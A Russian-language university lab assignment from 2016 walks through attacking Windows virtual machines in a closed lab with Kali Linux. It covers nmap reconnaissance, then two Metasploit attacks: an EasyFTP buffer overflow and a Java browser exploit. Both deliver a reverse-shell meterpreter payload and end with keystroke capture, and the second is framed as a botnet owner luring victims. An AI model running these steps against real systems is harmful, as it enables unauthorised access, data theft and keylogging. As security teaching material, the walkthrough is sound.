Лабораторная работа №3.

**Использование эксплойтов в Kali Linux.**

Выполнил: Мамбреян З.А.

Группа: К3440

Санкт-Петербург

2016

И так, перед началом работы откатите машины PAZ0 на снапшот Lab 2, а PAZUSER1 и PAZ Kali на снапшот Lab 3 и запускайте их в указанном выше порядке.

В данной работе мы будем использовать только последние две машины, а PAZ0 нам нужен как DHCP, именно поэтому его первым и запускаем.

И так целью данной работы будет получение неавторизованного, рутового доступа к удаленной системе, и достигать ее мы будем двумя различными способами.

В первом случае представим что вы коварный злоумышленник получивший доступ к локальной сети компании и целью вашей является хищение конфиденциальных данных.

1. Для начала выполняем вход на ВМ PAZ Kali под учетной записью **root:PAZ\_LOCAL1**, после чего запускаем терминал.
2. Так как у нас есть доступ к локальной сети то если DHCP-сервер работает в режиме автоматической выдачи адресов, и админы не видит лог выданных адресов (а так почти всегда, но иногда получение сетевого адреса в автоматическом режиме может спалить всю операцию, ибо логи) то мы по полученному адресу можем определить по крайней мере одну подсеть просто выполнив *ifconfig.*
3. И так у нас есть адрес и маска подсети – давайте же выясним что еще здесь болтается, для этого прибегнем к утилите nmap запущенной в режиме ARP-сканирования (почему нам выгоден именно он?) командой *nmap –PR 192.168.32.0/24*
4. И так nmap выдал нам достаточно много инфы, и помимо запущенных машин сообщил еще и имеющиеся открытые TCP-порты, что не может ни радовать. Внимательно посмотрев на список портов можно заметить, что на одной машине открыт 80 п
5. орт, а на другой 8080, что является достаточно интересным, но мы сосредоточимся на ftp-шке болтающейся, как и положено на 21 порту.
6. Однако для эксплуатации уязвимостей, нам неплохо бы знать версию ОС и версию ПО. С семейством ОС можно определиться еще при просмотре портов исходя из названий, но и версия системы тоже играет роль, поэтому выполняем *nmap –O ip-адресс.*
7. И так с минимальной версией системы мы определились (кстати че там?) теперь переходим к версии службы или хотя бы названию ПО для этого выполняем *nmap –sV –p21 ip-адресс.* И в ответ получаем что-то типа

*«21/tcp open ftp*

*1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :*

*SF-Port21-TCP:V=6.40%I=7%D=3/8%Time=531AFE44%P=x86\_64-unknown-linux-gnu%r(*

*SF:NULL,71,"220-\x20Ftp\x20Site\x20Powerd\x20by\x20BigFoolCat\x20Ftp\x20Se*

*SF:rver\x201\.0\x20\(meishu1981@163\.com\)\r\n220-\x20Welcome\x20to\x20my\*

*SF:x20ftp\x20server\xfb\xfb\xfb\xfb\r\n220\x20\r\n")%r(GenericLines,B1,"22*

*SF:0-\x20Ftp\x20Site\x20Powerd\x20by\x20BigFoolCat\x20Ftp\x20Server\x201\.*

*SF:0\x20\(meishu1981@163\.com\)\r\n220-\x20Welcome\x20to\x20my\x20ftp\x20s*

*SF:erver\xfb\xfb\xfb\xfb\r\n220\x20\r\n500\x20\"\"\x20:command\x20not\x20u*

*SF:nderstood\r\n500\x20\"\"\x20:command\x20not\x20understood\r\n")%r(Help,*

*SF:80,"220-\x20Ftp\x20Site\x20Powerd\x20by\x20BigFoolCat\x20Ftp\x20Server\*

*SF:x201\.0\x20\(meishu1981@163\.com\)\r\n220-\x20Welcome\x20to\x20my\x20ft*

*SF:p\x20server\xfb\xfb\xfb\xfb\r\n220\x20\r\n214\x20help\x20info\r\n")%r(S*

*SF:MBProgNeg,71,"220-\x20Ftp\x20Site\x20Powerd\x20by\x20BigFoolCat\x20Ftp\*

*SF:x20Server\x201\.0\x20\(meishu1981@163\.com\)\r\n220-\x20Welcome\x20to\x*

*SF:20my\x20ftp\x20server\xfb\xfb\xfb\xfb\r\n220\x20\r\n");»*

1. И так сходу имя программы нам известно похоже не станет, но в выводе есть много полезной инфы такой как название библиотеки лежащей в основе программы и ника создателя, подуглив по которому можно без труда определить имя проекта и текущие версии, выложенные на SourceForge.
2. Теперь у нас есть вся необходимая информация о цели и мы можем перейти к атаке, для проведения которой буем использовать metasploit framework. Находим его в Top 10 tools и запускаем.
3. Для начала нам необходим подходящий сплойт для этого выполним *search platform:windows type:exploit app:server name:ftp* (что за ключи, что значат, и как можно уточнить запрос?)*,* а теперь среди результатов ищем похожий по имени приложения. Нам подходит одна из *EasyFTP Server <= 1.7.0.11 Command Stack Buffer Overflow.*
4. Для ее использования выполним *use exploit/windows/ftp/easyftp\_cwd\_fixret*
5. Но пока ничего не происходит, ибо не заданы параметры атаки, да и атака не запущена, поправим это и для начала посмотрим, что за параметры мы можем задавать выполнив команду *show options*
6. Теперь установим адрес цели *set RHOST 192.168.32.132*
7. Полезную нагрузку *set PAYLOAD windows/meterpreter/reverse\_tcp* (чего это такое?)*,* и наш адрес в качестве параметра LHOST
8. А теперь собственно *exploit*
9. А теперь в качестве ознакомления попробуйте вывести информацию о системе, и содержимое файла desktop.ini лежащего в документах пользователя admin.

И так, теперь время для рассмотрения более другого подхода, представим на этот раз что мы не менее коварный начинающий владелец ботнета. Гоняться за каждой жертвой в таком случае у нас нет ни желания ни средств (жизнь коротка) ни смысла (нам не важен конкретный пользователь, нам нужен любой и много), поэтому мы развернем сервис эксплуатирующий уязвимость браузера, точнее его распространенного плагина, и будем ждать пока жертва с уязвимой версией ПО перейдет на него по ссылке, как этого добиться – совсем другая история.

1. И так мы всю также находимся под рутом в Kali и снова запускаем metasploit.
2. Использовать мы будем уязвимость в JRE, для этого выполним *use exploit/multi/browser/java\_jre17\_exec*
3. Устанавливаем наш ip в качестве параметра SRVHOST, порт можно не менять
4. Можно так же установить URIPATH для большей убедительности и SSL, но нам это не критично.
5. В качестве полезной нагрузки подключим то же самое, что и в предыдущем задании, не забываем про LHOST
6. Так как это мульти системный сплойт то нам стоит выбрать целевые ОС, для этго сначала просмотрим доступные варианты выполнив *show targets,* а застем выполнив *E,* установим винду в качестве цели.
7. *Exploit*
8. Теперь остается ждать, но мы немного ускорим процесс, копируем сгенерированный адрес в буфер обмена (это что-то вроде http://192.168.32.132:8080/xkMn8q)
9. Выполняем вход на ВМ PAZUSER1 **admin:PAZ\_LOCAL1**
10. Открываем Firefox и переходим по ссылке, если браузер начнем ругаться на плагин – соглашаемся со всем.
11. Возвращаемся в Kali и выполняем команду *sessions*, в результате мы увидим все доступные сессии.
12. После этого выполнив *sessions –i id\_сессии* мы увидим уже привычное meterpreter >
13. Теперь попробуйте перехватить клавишный ввод на скомпрометированной машине (keyscan\_start, keyscan\_dump).